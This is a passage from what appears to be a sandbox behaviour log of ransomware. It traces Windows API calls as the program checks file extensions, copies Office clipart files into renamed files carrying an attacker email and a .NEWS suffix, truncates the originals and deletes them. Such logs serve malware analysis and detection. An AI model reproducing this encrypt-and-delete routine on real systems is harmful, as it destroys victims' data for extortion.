(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.119] lstrlenW (lpString=".1cd") returned 4 [0253.119] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0253.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.119] lstrlenW (lpString=".jpg") returned 4 [0253.119] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0253.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.120] lstrlenW (lpString=".doc") returned 4 [0253.120] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0253.120] lstrlenW (lpString=".docx") returned 5 [0253.120] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0253.120] lstrlenW (lpString=".pdf") returned 4 [0253.120] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0253.120] lstrlenW (lpString=".xls") returned 4 [0253.120] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0253.120] lstrlenW (lpString=".xlsx") returned 5 [0253.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0253.121] lstrlenW (lpString=".ppt") returned 4 [0253.121] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0253.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.121] lstrlenW (lpString=".zip") returned 4 [0253.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0253.121] lstrlenW (lpString=".rar") returned 4 [0253.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0253.121] lstrlenW (lpString=".bz2") returned 4 [0253.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0253.121] lstrlenW (lpString=".7z") returned 3 [0253.121] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0253.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.122] lstrlenW (lpString=".dbf") returned 4 [0253.122] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0253.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.122] lstrlenW (lpString=".1cd") returned 4 [0253.122] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0253.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0253.122] lstrlenW (lpString=".jpg") returned 4 [0253.122] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0253.123] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0253.123] lstrlenW (lpString="BD20013_.WMF") returned 12 [0253.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0253.124] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=11058) returned 1 [0253.124] CloseHandle (hObject=0x304) returned 1 [0253.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0253.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0253.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0253.125] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.125] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0253.126] GetLastError () returned 0x0 [0253.126] ReadFile (in: hFile=0x304, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2b32, lpOverlapped=0x0) returned 1 [0254.617] WriteFile (in: hFile=0x1f0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2b40, lpOverlapped=0x0) returned 1 [0254.621] ReadFile (in: hFile=0x304, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.621] WriteFile (in: hFile=0x1f0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.621] SetEndOfFile (hFile=0x1f0) returned 1 [0254.622] CloseHandle (hObject=0x1f0) returned 1 [0254.622] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.622] SetEndOfFile (hFile=0x304) returned 1 [0254.634] CloseHandle (hObject=0x304) returned 1 [0254.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0255.347] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 1 [0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.384] lstrlenW (lpString=".doc") returned 4 [0255.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.384] lstrlenW (lpString=".docx") returned 5 [0255.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.384] lstrlenW (lpString=".pdf") returned 4 [0255.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.384] lstrlenW (lpString=".xls") returned 4 [0255.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.385] lstrlenW (lpString=".xlsx") returned 5 [0255.385] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.385] lstrlenW (lpString=".ppt") returned 4 [0255.385] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.385] lstrlenW (lpString=".zip") returned 4 [0255.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.385] lstrlenW (lpString=".rar") returned 4 [0255.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.385] lstrlenW (lpString=".bz2") returned 4 [0255.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.385] lstrlenW (lpString=".7z") returned 3 [0255.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.386] lstrlenW (lpString=".dbf") returned 4 [0255.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.386] lstrlenW (lpString=".1cd") returned 4 [0255.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.386] lstrlenW (lpString=".jpg") returned 4 [0255.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.387] lstrlenW (lpString=".doc") returned 4 [0255.387] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.387] lstrlenW (lpString=".docx") returned 5 [0255.387] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.387] lstrlenW (lpString=".pdf") returned 4 [0255.387] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.387] lstrlenW (lpString=".xls") returned 4 [0255.387] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.387] lstrlenW (lpString=".xlsx") returned 5 [0255.387] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.387] lstrlenW (lpString=".ppt") returned 4 [0255.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.388] lstrlenW (lpString=".zip") returned 4 [0255.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.388] lstrlenW (lpString=".rar") returned 4 [0255.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.388] lstrlenW (lpString=".bz2") returned 4 [0255.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.388] lstrlenW (lpString=".7z") returned 3 [0255.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.388] lstrlenW (lpString=".dbf") returned 4 [0255.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.389] lstrlenW (lpString=".1cd") returned 4 [0255.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 63 [0255.389] lstrlenW (lpString=".jpg") returned 4 [0255.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.389] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0255.389] lstrlenW (lpString="BL00105_.WMF") returned 12 [0255.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0255.411] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=880) returned 1 [0255.412] CloseHandle (hObject=0x3a4) returned 1 [0255.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x20 [0255.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0255.413] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.413] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0260.020] GetLastError () returned 0x0 [0260.020] ReadFile (in: hFile=0x3a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x370, lpOverlapped=0x0) returned 1 [0260.139] WriteFile (in: hFile=0x3c4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x380, lpOverlapped=0x0) returned 1 [0260.142] ReadFile (in: hFile=0x3a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.143] WriteFile (in: hFile=0x3c4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.143] SetEndOfFile (hFile=0x3c4) returned 1 [0260.143] CloseHandle (hObject=0x3c4) returned 1 [0260.144] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.144] SetEndOfFile (hFile=0x3a4) returned 1 [0260.150] CloseHandle (hObject=0x3a4) returned 1 [0260.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0260.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.152] lstrlenW (lpString=".doc") returned 4 [0260.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.153] lstrlenW (lpString=".docx") returned 5 [0260.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.153] lstrlenW (lpString=".pdf") returned 4 [0260.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.153] lstrlenW (lpString=".xls") returned 4 [0260.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.153] lstrlenW (lpString=".xlsx") returned 5 [0260.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.153] lstrlenW (lpString=".ppt") returned 4 [0260.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.154] lstrlenW (lpString=".zip") returned 4 [0260.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.154] lstrlenW (lpString=".rar") returned 4 [0260.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.155] lstrlenW (lpString=".bz2") returned 4 [0260.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.155] lstrlenW (lpString=".7z") returned 3 [0260.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.155] lstrlenW (lpString=".dbf") returned 4 [0260.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.155] lstrlenW (lpString=".1cd") returned 4 [0260.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.156] lstrlenW (lpString=".jpg") returned 4 [0260.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.156] lstrlenW (lpString=".doc") returned 4 [0260.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0260.156] lstrlenW (lpString=".docx") returned 5 [0260.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0260.156] lstrlenW (lpString=".pdf") returned 4 [0260.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0260.156] lstrlenW (lpString=".xls") returned 4 [0260.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0260.157] lstrlenW (lpString=".xlsx") returned 5 [0260.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0260.157] lstrlenW (lpString=".ppt") returned 4 [0260.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0260.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.157] lstrlenW (lpString=".zip") returned 4 [0260.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0260.157] lstrlenW (lpString=".rar") returned 4 [0260.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0260.157] lstrlenW (lpString=".bz2") returned 4 [0260.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0260.158] lstrlenW (lpString=".7z") returned 3 [0260.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0260.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.158] lstrlenW (lpString=".dbf") returned 4 [0260.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0260.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.158] lstrlenW (lpString=".1cd") returned 4 [0260.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0260.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0260.158] lstrlenW (lpString=".jpg") returned 4 [0260.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0260.159] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0260.159] lstrlenW (lpString="BL00148_.WMF") returned 12 [0260.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.162] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1696) returned 1 [0260.163] CloseHandle (hObject=0x3a4) returned 1 [0260.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0260.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0260.164] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.164] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0260.165] GetLastError () returned 0x0 [0260.165] ReadFile (in: hFile=0x3a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0260.512] WriteFile (in: hFile=0x3c4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0260.519] ReadFile (in: hFile=0x3a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0260.519] WriteFile (in: hFile=0x3c4, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0260.519] SetEndOfFile (hFile=0x3c4) returned 1 [0260.520] CloseHandle (hObject=0x3c4) returned 1 [0260.520] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0260.520] SetEndOfFile (hFile=0x3a4) returned 1 [0260.527] CloseHandle (hObject=0x3a4) returned 1 [0260.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0262.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.445] lstrlenW (lpString=".doc") returned 4 [0262.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.445] lstrlenW (lpString=".docx") returned 5 [0262.446] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0262.446] lstrlenW (lpString=".pdf") returned 4 [0262.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.446] lstrlenW (lpString=".xls") returned 4 [0262.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.446] lstrlenW (lpString=".xlsx") returned 5 [0262.446] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0262.446] lstrlenW (lpString=".ppt") returned 4 [0262.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.446] lstrlenW (lpString=".zip") returned 4 [0262.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.447] lstrlenW (lpString=".rar") returned 4 [0262.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.447] lstrlenW (lpString=".bz2") returned 4 [0262.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.448] lstrlenW (lpString=".7z") returned 3 [0262.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.448] lstrlenW (lpString=".dbf") returned 4 [0262.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.448] lstrlenW (lpString=".1cd") returned 4 [0262.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0262.448] lstrlenW (lpString=".jpg") returned 4 [0262.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.449] lstrlenW (lpString="C:\\Program Files\\Microsoft 